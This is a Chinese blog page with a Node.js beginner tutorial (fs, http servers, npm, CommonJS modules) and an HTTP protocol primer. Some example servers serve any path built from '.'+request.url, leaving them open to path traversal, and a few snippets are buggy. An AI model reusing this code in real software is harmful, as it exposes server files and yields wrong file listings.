第0章 Node介绍0.0 回顾 JavaScript历史及发展 1995年 网景公司的布兰登开发;1997年7月,ECMA组织发布ECMAScript 1.0版;2007年10月发布3.1版本后不久,ECMAScript 3.1改名为 ECMAScript 5。2008年,为Chrome浏览器而开发的V8编译器诞生2011年6月,ECMAscript 5.1版发布,现在使用最为广泛的版本;2015年6月,ECMAScript 6正式发布,并且更名为“ECMAScript 2015”;如何学习JavaScriptJavaScript 的核心语法部分相当精简,也就是语言本身,只包括两个部分:基本的语法构造(比如操作符、控制结构、语句)标准库(就是一系列具有各种功能的对象比如Array、Date、Math等)。想要实现其他复杂的操作和效果,都要依靠 宿主环境 提供API,目前,已经嵌入 JavaScript 的宿主环境有多种,最常见的环境就是 浏览器 和 操作系统 ;回顾 JavaScript 语法特性变量、数据类型、流程控制函数(基本声明参数,作用域,回调函数)、面向对象(原型,构造函数,this的指向,new的过程)0.1 Node是什么Node 是一个基于 Chrome V8 引擎的 JavaScript 运行环境。Node 不是一种独立的语言、Node不是 JavaScript 框架,Node是一个除了浏览器之外的、可以让 JavaScript 运行的环境Node.js 是一个让 JavaScript 运行在服务端的开发平台,是使用 事件驱动, 异步非阻塞I/O,单线程,跨平台的 JS 运行环境;0.2. 为什么要学习 Node打开服务器的黑盒子企业需求大前端必备技能为了更好的学习前端框架0.3. Node 能做什么知乎 - Node.js能做什么,该做什么?Web 服务器(重点)命令行工具网络爬虫:是一种按照一定的规则,自动地抓取网站信息的程序桌面应用程序开发0.4. 一些资源文档Node.js 官方文档Node.js 中文文档(非官方)书籍深入浅出 Node.jsNode.js 权威指南Node.js 实战Node.js实战(第2季)github资源Node.js 包教不包会ECMAScript 6 入门七天学会 NodeJS社区Node.js 中文社区0.5. Node 发展历史聊聊 Node.js 的历史来自朴灵大大的 -- Node.js 简史第1章 NodeJS起步1.1 下载安装下载 https://nodejs.org/zh-cn/download/历史版本:https://nodejs.org/en/download/releases/windows下安装过程:对于已经装过的,重新安装就会升级安装成功后,打开命令行,输入node --version 或者 node -v (显示node的版本号)表示安装成功其他平台的安装方式:https://nodejs.org/zh-cn/download/package-manager/1.2 REPL环境node中的REPL环境类似于浏览器中的 Console控制台 ,可以做一些代码测试。按ctrl + 两次c 退出REPL环境但是, 我们写代码肯定不是在控制台中写,而是写在一个单独的.js文件中.1.3 node运行js代码1.4 Node 中的模块浏览器(客户端)中的JS 与 Node中的JS 第2章 核心模块的使用2.1.1 FS模块node核心模块之一,用于操作文件;中文手册 : http://nodejs.cn/api/fs.html文件读写// 引入模块 var fs = require('fs'); // console.log(typeof fs); //object // 向文件中写入内容 fs.writeFile('./2.1.txt','itcast',function(cb,cb2){ // 回调函数 (写入成功后执行的函数) console.log(cb); console.log(cb2); }) // 从文件中读取内容 fs.readFile('./2.1.txt','utf8',function(e,d){ // 回调函数 (读取成功后执行的函数) console.log(e); console.log(d); });追加内容// 引入模块 var fs = require('fs'); // 向文件中追加内容 fs.readFile('./2.1.txt','utf8',function(e,d){ d+='2344'; fs.writeFile('./2.1.txt',d,function(e){ if(e){ console.log('写入失败') }else{ console.log('写入成功') } }) });课堂作业:尝试操作json数据,时间15分钟var str = [ {id:1,names:'路飞',sex:'男',img:''}, {id:2,names:'乌索普',sex:'男',img:''}, {id:3,names:'娜美',sex:'女',img:''} ]要求1:将数据转为字符串存入文件 hzw.json要求2:向 hzw.json 文件中添加一条数据 {id:'4',names:'罗宾',sex:'女',img:''} ;要求3:删除 hzw.json 文件中 id 值为2的数据要求4:将 hzw.json 文件中id为3的数据中的names改为 ‘女帝’;2.1.2 http协议理论参见http部分课件2.2 HTTP模块node核心模块之一,用于搭建HTTP服务器;中文手册 http://nodejs.cn/api/http.html2.2.1 开启服务器// 1. 导入http模块 var http = require('http'); // 2. 使用http这个模块中的createServer()创建一个服务器实例对象 var server = http.createServer(); // 3. 绑定端口号,启动web服务器 server.listen(8000, function() { console.log(' 请访问http://localhost:8000'); }); // 4. 为这个服务器实例对象注册 request 请求处理函数 // 请求处理函数function(形参1,形参2){} // 形参1:request请求对象 获取到当前请求的路径,方法等本次请求的所有信息 // 形参2:response响应对象 发送响应数据 server.on('request', function(request, response) { console.log('服务端收到客户端的请求啦!!!'); // 向客户端页面返回字符串 response.write("hello node"); // 结束响应 response.end(); });因为我们的服务器接受请求处理并响应数据时,并没有指定响应数据的类型,所以出现了乱码;而在http中,我们可以通过服务器的响应头指定数据类型,在 http.ServerResponse 类 中为我们提供了setHeader 方法:2.2.2 响应 HTML 页面但是,我们不能一直将html代码写到服务器的方法中,而是需要建一个xx.html的文件,将html文件中的内容返回给客户端;2.2.2 .html :<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Document</title> </head> <body> <h1>你好,我是西岭老湿</h1> <h2>另外,我还很帅……</h2> </body> </html>nodejs代码var http = require('http'); // 1:引入文件操作模块 var fs = require('fs'); var server = http.createServer(); server.on('request', function(request, response) { // 2:读取html文件中的内容 fs.readFile('./2.2.2.html','utf8',function(error,html_data){ // 设置响应头 response.setHeader('Content-Type', 'text/html;charset=utf-8'); // 将html中的内容响应回客户端,结束响应 response.end(html_data); }) });2.2.3 响应图片<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Document</title> </head> <body> <h1>你好,我是西岭老湿</h1> <h2>另外,我还很帅……</h2> <img src="https://img.sunshine966.com/node/03.jpg" alt="野生脆脆.jpg"> </body> </html>server.on('request', function(request, response) { // url 属性返回请求的URL字符串 var urls = request.url; if( urls =='/'){ fs.readFile('./2.2.2.html','utf8',function(error,html_data){ // 设置响应头 response.setHeader('Content-Type', 'text/html;charset=utf-8'); // 将html中的内容响应回客户端,结束响应 response.end(html_data); }) }else if(urls.indexOf('jpg')>=0){ // 判断请求图片 fs.readFile('https://img.sunshine966.com/node/03.jpg',function(error,html_data){ response.end(html_data); }) } }2.2.4 响应其他静态资源<head> <meta charset="UTF-8"> <title>Document</title> <link rel="stylesheet" href="./public/h.css"> </head> <body> <h1>你好,我是西岭老湿</h1> <h2>另外,我还很帅……</h2> <img src="https://img.sunshine966.com/node/03.jpg" alt="野生脆脆.jpg"> </body> <script src="./public/h.js"></script> </html>server.on('request', function(request, response) { // url 属性返回请求的URL字符串 var urls = request.url; if( urls =='/'){ fs.readFile('./2.2.2.html','utf8',function(error,html_data){ // 设置响应头 response.setHeader('Content-Type', 'text/html;charset=utf-8'); // 将html中的内容响应回客户端,结束响应 response.end(html_data); }) }else{ fs.readFile('.'+urls,function(error,html_data){ response.end(html_data); }) } });2.3 服务器遍历文件及文件夹-案例模仿Apache服务器,遍历文件及文件,显示时间及大小;右键另存为,下载页面当作静态页面模板使用;使用node载入静态页面:使用ajax技术在页面中发送请求到后台,apache.html<script> var xhr = new XMLHttpRequest(); xhr.onreadystatechange=function(){ if(this.readyState == 4){ console.log(this.responseText); } } xhr.open('get','/file_list'); xhr.send(); </script>node:server.on('request', function(request, response) { // url 属性返回请求的URL字符串 var urls = request.url; if( urls =='/'){ fs.readFile('./apache.html','utf8',function(error,html_data){ // 设置响应头 response.setHeader('Content-Type', 'text/html;charset=utf-8'); // 将html中的内容响应回客户端,结束响应 response.end(html_data); }) }else if(urls == '/file_list'){ fs.readdir('./','utf8',function(err,files){ response.end(JSON.stringify(files)); }); }else{ fs.readFile('.'+urls,function(error,html_data){ response.end(html_data); }) } });apache.html --> ajaxxhr.onreadystatechange=function(){ if(this.readyState == 4){ var data = JSON.parse(this.responseText); var htmls = ''; for(var i = 0;i<data.length;i++){ htmls+='<tr><td valign="top">'; htmls+= '<img src="https://img.sunshine966.com/node/layout.gif" alt="[ ]"></td>'; htmls+='<td><a href="http://localhost/%e7%ac%94%e8%ae%b0-01.pdf">'; htmls+= data[i]+'</a> </td>'; htmls+= '<td align="right">2018-04-26 10:31 </td>'; htmls+= '<td align="right">3.2M</td><td> </td></tr>'; } var tb = document.getElementsByTagName('tbody')[0]; tb.innerHTML+=htmls; } }2.4 动态展示文件的其他属性获取文件的其他属性:var fs = require('fs'); fs.readdir('./','utf8',function(err,files){ fs.stat(files[0],function(er,st){ console.log(st.mtime); console.log(st.size); console.log(st.isFile()); }) });修改node代码server.on('request', function (request, response) { // url 属性返回请求的URL字符串 var urls = request.url; if (urls == '/') { fs.readFile('./apache.html', 'utf8', function (error, html_data) { // 设置响应头 response.setHeader('Content-Type', 'text/html;charset=utf-8'); // 将html中的内容响应回客户端,结束响应 response.end(html_data); }) } else if (urls == '/file_list') { fs.readdir('./', 'utf8', function (err, files) { // response.end(JSON.stringify(files)); var file_obj = []; // 判断条件:声明一个变量,这个变量用来记录两个数据的中数据的长度 var count = 0; for (var i = 0; i < files.length; i++) { file_obj[i] = {}; // 利用自调用匿名函数,保留i的变量值 (function (i) { fs.stat(files[i], function (er, st) { count ++; file_obj[i].name = files[i]; if(st.isFile()){ file_obj[i].type = 'file'; }else{ file_obj[i].type = 'dir'; } file_obj[i].mtime = st.mtime; file_obj[i].size = st.size; // 当读取的文件个数与所有文件个数相等时 if(count == files.length){ response.end(JSON.stringify(file_obj)); } }) // console.log(file_obj); })(i); // console.log(files[i]); } }); } else { fs.readFile('.' + urls, function (error, html_data) { response.end(html_data); }) } });修改 ajax代码var xhr = new XMLHttpRequest(); xhr.onreadystatechange=function(){ if(this.readyState == 4){ var data = JSON.parse(this.responseText); var htmls = ''; for(var i = 0;i<data.length;i++){ htmls+='<tr><td valign="top">'; if(data[i].type == 'file'){ htmls+= '<img src="https://img.sunshine966.com/node/layout.gif" alt="[ ]"></td>'; }else{ htmls+= '<img src="https://img.sunshine966.com/node/folder.gif" alt="[ ]"></td>'; } htmls+='<td><a href="">'; htmls+= data[i].name+'</a> </td>'; htmls+= '<td align="right">'+ data[i].mtime +'</td>'; htmls+= '<td align="right">'+ data[i].size +'</td><td> </td></tr>'; } var tb = document.getElementsByTagName('tbody')[0]; tb.innerHTML+=htmls; } } xhr.open('get','/file_list'); xhr.send();循环后 i 丢失的问题: // var arr = ['a', 'b', 'c']; // for (var i = 0; i < arr.length; i++) { // // 模拟延迟 // setTimeout(function () { // console.log(arr[i]); // }, 1000); // } /* * ******************************************* * 上面的代码 全部输出 undefined * ******************************************* */ var arr = ['a','b','c']; for(var i = 0; i < arr.length; i ++) { (function(i){ // 模拟延迟 setTimeout(function() { console.log(arr[i]); }, 1000); })(i); }解决方案2: 直接使用count 记录var fs = require('fs'); fs.readdir('./', 'utf8', function (err, files) { // console.log(files); var count = 0; var arr = [] for (var i = 0; i < files.length; i++) { fs.stat(files[i], 'utf8', function (err, stats) { // 在回调中声明对象 var obj = {}; // console.log(i); obj.size = stats.size obj.mtime = stats.mtime // 不在使用i变量,因为循环结束i 就会消失 // 但是count 不会 obj.name = files[count]; // 将对象的数据存入数组 arr.push(obj); // console.log(arr); // 自增count 下次使用 count++; // console.log(obj); if (files.length == count) { console.log(arr); } }) } })第3章 包管理器npm3.1 使用moment使用第三方包格式化时间3.2 npm 命令的使用上面的代码,我们使用npm安装了moment来进行格式化时间的处理,这就是使用第三方模块;而我们使用的npm就是node中自带的包(模块)管理工具;借助NPM可以帮助我们快速安装和管理依赖包,使Node与第三方模块之间形成了一个良好的生态系统;我们也可以直接输入npm,查看帮助引导:PS C:\xamp\htdocs\ceshi\09> npm Usage: npm <command> where <command> is one of: access, adduser, audit, bin, bugs, c, cache, ci, cit, completion, config, create, ddp, dedupe, deprecate, dist-tag, docs, doctor, edit, explore, get, help, help-search, hook, i, init, install, install-test, it, link, list, ln, login, logout, ls, outdated, owner, pack, ping, prefix, profile, prune, publish, rb, rebuild, repo, restart, root, run, run-script, s, se, search, set, shrinkwrap, star, stars, start, stop, t, team, test, token, tst, un, uninstall, unpublish, unstar, up, update, v, version, view, whoami npm <command> -h quick help on <command> npm -l display full usage info npm help <term> search for help on <term> npm help npm involved overview Specify configs in the ini-formatted file: C:\Users\Administrator\.npmrc or on the command line via: npm <command> --key value Config info can be viewed via: npm help config npm@6.4.1 C:\Program Files\nodejs\node_modules\npm3.3 使用npm初始化项目一个项目,不可能只是使用一个第三方包,而包越多,管理起来就越麻烦,而 npm init 给我们提供了项目初始化的功能,也解决了多个包的管理问题:"name": "usenpm", // 项目名 "version": "1.0.0", // 版本号 "description": "这是我们第一次使用npm", // 描述信息 "main": "index.js", // 入口文件 "scripts": { // npm 设置的一些指令 "test": "echo \"Error: no test specified\" && exit 1" }, "keywords": [ // 关键字 "第一次" ], "author": "itheima6期", // 作者 "license": "ISC" // 当前项目的协议3.4 解决 npm 被墙问题npm 存储包文件的服务器在国外,有时候会被墙,速度很慢,所以我们需要解决这个问题。http://npm.taobao.org/ 淘宝的开发团队把 npm 在国内做了一个备份。安装淘宝的 cnpm:# 在任意目录执行都可以 # --global 表示安装到全局,而非当前目录 # --global 不能省略,否则不管用 npm install --global cnpm接下来你安装包的时候把之前的 npm 替换成 cnpm。举个例子:# 这里还是走国外的 npm 服务器,速度比较慢 npm install jquery # 使用 cnpm 就会通过淘宝的服务器来下载 jquery cnpm install jquery如果不想安装 cnpm 又想使用淘宝的服务器来下载:npm install jquery --registry=https://registry.npm.taobao.org但是每一次手动这样加参数很麻烦,所我们可以把这个选项加入配置文件中:# 配置到淘宝服务器 npm config set registry https://registry.npm.taobao.org # 查看 npm 配置信息 npm config list只要经过了上面命令的配置,则你以后所有的 npm install 都会默认通过淘宝的服务器来下载。3.5 package.json 与 package-lock.json 文件如果后期开发过程中,需要项目迁移,我们只需要将package.json文件迁移即可,在新项目下执行npm install ,所有第三方包会自动安装;package.json的作用就是用来记录当前项目及包的使用情况;不能在package.json中添加注释package-lock.json 保存第三方包的版本和下载路径等详细信息;当我们使用npm管理包时,package.json 及package-lock.json 的内容都会自动更新3.6 服务端页面渲染之前的案例中,我们时通过前端浏览器发送ajax请求获取服务器数据的,前端获取数据后进行遍历展示;缺点就是发送多次请求、不利于搜索引擎查找;我们修改为后端渲染数据;art-template: https://www.npmjs.com/package/art-templatevar art = require('art-template'); art.defaults.root = './'; var html = art('./art-test.html',{data:[{name:123,age:345},{a:678,b:987}]}); console.log(html);<body> <h1>nihoa</h1> <h2>{{data[0].name}}</h2> </body>1:重新创建目录,并初始化项目: npm init 2:将之前写好的后台文件 http.js 和 前台模板页面 apache.html 复制到新项目目录中;3:安装时间处理模块: npm install moment4:安装模板引擎模块: npm install art-template 5: 修改 后台文件 http.js 和 前台模板页面 apache.html 文件http.js :apache.html :那么我们在项目中应该使用 客户端渲染还是服务端渲染:答:两者都用,根据数据的不同作用而定;第4章 Node模块化及CommonJS规范通过前面几个章节的学习, 我们基本掌握了NodeJS编程的基础知识, 但是我们也直观的发现了一个问题,和我们之前学习浏览器编程时JS, 差异还是很大的; 都是JavaScript编程, 为何有这种差异? 前面写过的防Apache服务器的案例中, 使用过内置fs模块, 使用过 moment 模块, 而这些模块都不是我们写的, 都是直接拿过来使用, 那么我们能不能自己写一个模块, 应该怎么写, 有哪些规矩, 如果我们自己写了一个模块, 能不能提供给其他编程人员直接使用, 应该怎么用?Electron 跨平台的桌面应用框架: https://electronjs.org/4.1 CommonJS规范的由来JS 的表现的表现能力取决于宿主环境提供的API, 在web1.0 时代, W3C 组织提供了浏览器的规范支持, 在web2.0 时代, 随着HTML5的发展, 更多的标准API 出现在了浏览器中, 但是, 在后端 JS 中标准的制定纹丝不动 ;由 Mozilla 工程师Kevin Dangoor于2009年1月提出名为 ServerJS 的规范; 2009年8月,更名为CommonJS,以显示 API 的更广泛适用性。What I’m describing here is not a technical problem. It’s a matter of people getting together and making a decision to step forward and start building up something bigger and cooler together.我在这里描述的不是一个技术问题。这是一个人们聚在一起,决定向前一步,开始一起建立更大更酷的东西的问题。--Kevin Dangoor4.2 CommonJS 的模块规范CommonJS对模块的定义十分简单,主要分为:1、模块引用:使用 require() 方法引入一个模块API ;2、模块定义:在模块中使用 exports 对象导出当前模块数据或方法;在模块中还存在一个module对象,它代表模块自身,module对象有一个exports 属性,用于数据导出;其实exports 对象就是module.exports 的引用; exports === module.exports3、模块标识:其实就是模块的文件名,必须符合小驼峰法命名规则,使用require() 引入时使用 . 或 .. 开头的相对路径或/ 绝对路径,引入时可以不写文件后缀名;重点注意 : 模块中的方法和变量的作用域仅在模块内部,每个模块具有独立的空间,互不干扰;CommonJS 构建的模块机制中的引入与导出是我们完全不用考虑变量污染或者替换的问题,相比与命名空间的机制,是有巨大差距的;4.3 Node对CommonJS的实现 (Node模块化)以上代码就是自定义模块的基本规则 这是重点4.4 模块加载的顺序和规则在 CommonJS 规范中,使用 require() 加载(引入) 模块时,模块标识必须使用相对路径或绝对路径指明模块位置,但是在node的实现中,我们可以不指明模块路径;如: require('fs')、require('moment') ;如果没有指明路径,那就是加载核心模块或第三方模块,指明加载路径一般就是加载自定义模块;不管加载什么模块,都是优先从缓存中加载:Node 加载模块时,如果这个模块已经被加载过了,则会直接缓存起来,将来再次引用时不会再次加加载这个模块(即:如果一个模块被加载两次,则模块中的代码只会被执行一次)而核心模块和第三方模块的的加载顺序就是:先加载核心模块,核心模块的内容都是在安装node时已经编译好的可执行的二进制代码,加载执行的速度,仅次于缓存加载,如果核心模块中没有,则加载第三方模块第三方模块的加载规则:先在当前文件的模块所属目录去找 node_modules目录如果找到,则去该目录中找 模块名的目录 如 : moment如果找到 moment 目录, 则找该目录中的 package.json文件如果找到 package.json 文件,则找该文件中的 main属性如果找到main 属性,则拿到该属性对应的文件如果找到 moment 目录之后,没有package.json或者有 package.json 没有 main 属性或者有 main 属性,但是指向的路径不存在则 node 会默认去看一下 moment 目录中有没有 index.js --> index.json--> index.node 文件如果找不到index 或者 找不到 moment 或者找不到 node_modules则进入上一级目录找 node_moudles 查找(规则同上)如果上一级还找不到,继续向上,一直到当前文件所属磁盘的根目录如果到磁盘概目录还没有找到,直接报错4.5 模块化封装案例思路:1:服务器功能 --> apache2:监听请求 --> 路由3:根据请求处理业务 --> Controller4:获取数据(处理数据) --> model5:显示数据 --> view客户端渲染方式的案例重构修改 http.js --- 服务器模块var http = require('http'); var router = require('./router'); var server = http.createServer(); router(server); server.listen(8000,function(){ console.log('欢迎来到node世界') })添加自定义模块 router.js -- 路由模块var controller = require('./controller'); module.exports = function(server){ server.on('request',function(req,res){ var urls = req.url; if(urls == '/'){ // 需要获取html文件中的内容 // 响应给客户端 // 业务层模块的调用 controller.index(function(data){ // 利用回调函数获取数据 res.end(data); }); }else if(urls == '/getnames'){ // 业务层模块的调用 // 将请求对象及响应对象传入业务层方法,在业务层做http响应处理 controller.getNames(req,res); }else{ // 响应静态资源 require('fs').readFile('.'+urls,function(err,data){ res.end(data); }) } }) }contrllor.js --- 业务模块var fs = require('fs'); var moment = require('moment'); module.exports = { index: function (callback) { // 返回静态页面 fs.readFile('./index.html', 'utf8', function (err, data) { callback(data); }) // console.log('index'); }, getNames: function (req, res) { // console.log('getnamesssss'); fs.readdir('./', 'utf8', function (err, data) { var filearr = []; var cont = 0; for (var i = 0; i < data.length; i++) { // 2: (function (i) { // 3: fs.stat(data[i], function (err, stats) { cont++; // 获取文件名 // 问题:文件名为 undefined // 原因:在循环结束之后,函数才会被调用,而此时i已经被修改为最后的值 // 解决:在每次循环中形成一个独立的作用域保留i的值, // 当异步函数调用时,获取到的是独立作用域中的i filearr[i] = {}; filearr[i].name = data[i]; // 获取文件的其他属性 filearr[i].type = stats.isFile(); filearr[i].size = stats.size; // filearr[i].mtime = stats.mtime; filearr[i].mtime = moment(stats.mtime).format("YYYY-MM-DD hh:mm:ss"); // 异步函数调用次数与文件数相等时,服务器作出响应并断开 if (cont == data.length) { res.end(JSON.stringify(filearr)); } }) })(i); } }) } }本文档大量参考相关书籍、文档、博客、手册等资源,最终解释权归 吴明仕 所有;参考资源相关列表:https://nodejs.org/zh-cn/ node.js官网http://nodejs.cn/ node.js中文网《深入浅出Node.js》 朴灵著 ,人民邮电出版社https://en.wikipedia.org/wiki/CommonJS 维基百科《ECMAScript 6 入门》(第三版) 阮一峰著 ,电子工业出版社《你不知道的JavaScript》(上、中、下卷) [美] Kyle Simpson 著 ,人民邮电出版社http://www.expressjs.com.cn/ express中文网
2022年10月13日
45 阅读
0 评论
1 点赞
2022-10-13
Http通信协议
第一章 前言我们现实生活中的协议是指相互遵守的规定,单方面违背,协议不成立;而在互联网交互的过程中,也存在这许多协议,例如FTP、HTTP、STMP、TCP/IP等。而HTTP协议则是web服务器和web客户端达成的一种可靠的数据传输协议,通过HTTP可以从遍布全世界的Web服务器上将JPEG图片,HTML页面,文本文件,MPEG电影,WAV音频文件和其他资源信息块迅速、便捷、可靠地搬移到人们桌面上的Web浏览器上去。它能够确保数据在传输的过程当中不会损坏或者产生混乱。这样,对用户来说是个好事,同样对internet应用的开发人员来说也是一件好事。因为我们在开发过程中也不需要担心自己的页面和数据会在传输过程中发生破坏和畸变了。第二章 WEB客户端和服务器Web内容都是存储在Web服务器上的。Web服务器所使用的是HTTP协议,因此经常会被称为HTTP服务器。这些HTTP服务器存储了因特网中的数据,如果HTTP客户端发出请求的话,它们会提供数据。客户端向服务器发送HTTP请求,服务器会在HTTP响应中回送所请求的数据。那么一次请求和响应的过程中发生了什么?HTTP属于无状态链接协议,即是限制每次连接只处理一个请求。服务器处理完客户的请求,并收到客户的应答后,即断开连接。采用这种方式可以节省传输时间和服务器资源。当然也有有状态链接,那就是我们常用的QQ。H5新增的特性中也包含Websocket帮助我们构建长链接。第三章 资源和媒体类型web服务器是web资源的宿主,而web资源就是我们常见的web内容的源头,最简单的web资源就是我们服务器中的静态文件:文本文件,HTML文档,JPEG图片文件,mp4文件等等。当然web资源也可以是动态生成的,类似搜索引擎生成的页面,qq空间的动态等,总之,所有类型的内容来源都是资源。因特网上有数千种不同类型的数据类型,HTTP在传输的过程中为每个传输的数据都打上了名为MIME类型的数据类型标签,描述并标记多媒体内容。web浏览器请求一个网站的时候往往会发布多个HTTP请求,比如我们在浏览一个具有丰富图片的的web页面的时候,浏览器会执行一次HTTP请求来获取描述页面布局的HTML,然后发布另外的请求来获取每个嵌入式的图片,这些图片甚至可能位于不同的服务器上。因此,一个web页面通常不是单个资源,而是一组资源的集合。web服务器会为所有的HTTP对象数据附加一个MIME类型,当浏览器从服务器中取回一个对象的时候,会查看相关的MIME类型。看看它是否知道应该如何处理这个对象。对象的类型写在响应的content-type头中;同样,请求的时候浏览器也会告知服务器请求数据类型。常见的MIME类型:HTML 格式的文本文档由 text/html 类型来标记。普通的 ASCII 文本文档由 text/plain 类型来标记。JPEG 格式的图片为 image/jpeg 类型。GIF 格式的图片为 image/gif 类型。以application开头的媒体格式类型:application/xhtml+xml :XHTML格式application/xml : XML数据格式application/atom+xml :Atom XML聚合格式application/json : JSON数据格式application/octet-stream : 二进制流数据(如常见的文件下载)application/x-www-form-urlencoded : <form encType=''>中默认的encType,form表单数据被编码为key/value格式发送到服务器(表单默认的提交数据的格式)multipart/form-data : 需要在表单中进行文件上传使用的数据格式。当然还有很多类型,我们就不一一列举了。MIME 参考手册:http://www.w3school.com.cn/media/media_mimeref.asp第四章 URL统一资源定位符(Uniform Resource Locator)是资源标识符最常见的形式。URL描述了一台特定服务器上某资源的特定位置。它们可以明确说明如何从一个精确、固定的位置获取资源。互联网上的每个文件都有一个唯一的URL,它包含的信息指出文件的位置以及浏览器应该怎么处理它。大部分 URL 都遵循一种标准格式, 这种格式包含三个部分。URL 的第一部分被称为方案(scheme), 说明了访问资源所使用的协议类型。 这部分通常就是 HTTP 协议(http://)。第二部分给出了服务器的因特网地址(比如,http://www.itheima.com)。其余部分指定了 Web 服务器上的某个资源(比如, /static/image/common/zixuelogo.png)。URL可以更为细致的进行划分。 foo://username:password@xxx.xx.xx:8080/over/there/index.html?type=answer&name=yanshiba#nose \_/ \_______________/ \_________/ \__/ \___/ \_/ \______________________/ \__/ | | | | | | | | | userinfo host port | | query fragment | \________________________________/\_____________|____|/ \__/ \__/ scheme | | | | | | name authority | | | | | path | | interpretable as keys | | \_______________________________________________|____|/ \____/ \_____/ | | | | | hierarchical part | | interpretable as values | | interpretable as filename | | | interpretable as extension第五章 方法HTTP支持几种不同请求和命令,这些命令被称为HTTP方法,每条HTTP请求报文都包含一个方法。 这个方法会告诉服务器要执行什么动作(获取一个Web页面、发送一段信息、删除一个文件等);我们在学习form表单的时候也知道method可以写作post和get。这就是HTTP请求的方法。请求方法如下:请求方法描述GET获取一个URL指定的资源,即资源实体POST向服务器提交数据PUT向服务器提交数据DELETE请求源服务器删除Request-URI标志的资源HEAD获取一个指定资源的头信息OPTIONS获取服务器支持的方法我们随后学习的node和ajax中都会用到HTTP请求具体的方法实现。第六章 状态码每条HTTP响应报文返回时都会携带一个状态码。状态码是一个三位数字的代码,告知客户端请求是否成功, 或者是否需要采取其他动作。状态码分成如下几个系列:状态码定义说明1XX请求被接受一般只在实验环境下使用2XX成功操作成功的收到,理解和接收3XX重定向为了完成请求,进行进一步措施4XX客户端错误请求的语法有错误或者不能完全被满足5XX服务器错误服务器无法完成明显有效的请求常见的HTTP状态码:HTTP状态码描述200OK。文档正确返回301/2永久/临时重定向304not modified 未修改(原有的缓存可以继续使用)404请求的网页不存在503服务器暂时不可用500服务器内部错误第七章 报文HTTP报文是由一行一行的简单字符串组成的。HTTP报文都是纯文本,不是二进制代码,所以人们可以很方便地对其进行读写。从Web客户端发往Web服务器的HTTP报文称为请求报文(request message)。从服务器发往客户端的报文称为响应报文(response message)。HTTP 报文包括以下三个部分:起始行报文的第一行就是起始行, 在请求报文中用来说明要做些什么, 在响应报文中说明出现了什么情况。请求行部分由 请求方法(GET,POST等),请求路径,协议版本组成。响应行部分由 协议版本,状态码,状态文字组成。首部字段起始行后面有零个或多个首部字段。 每个首部字段都包含一个名字和一个值, 为了便于解析, 两者之间用冒号来分隔。 首部以一个空行结束。主体空行之后就是可选的报文主体了, 其中包含了所有类型的数据。 请求主体中包括了要发送给 Web 服务器的数据; 响应主体中装载了要返回给客户端的数据。 起始行和首部都是文本形式且都是结构化的, 而主体则不同, 主体中可以包含任意的二进制数据(比如图片、视频、音轨、软件程序)。 当然, 主体中也可以包含文本。HTTP报文常见的内容:http://www.cnblogs.com/Joans/p/3956490.html\使用火狐浏览器打开一个网页,找到其中一个网络请求查看报文:
2022年10月13日
35 阅读
0 评论
1 点赞
1
...
10
11
12
...
15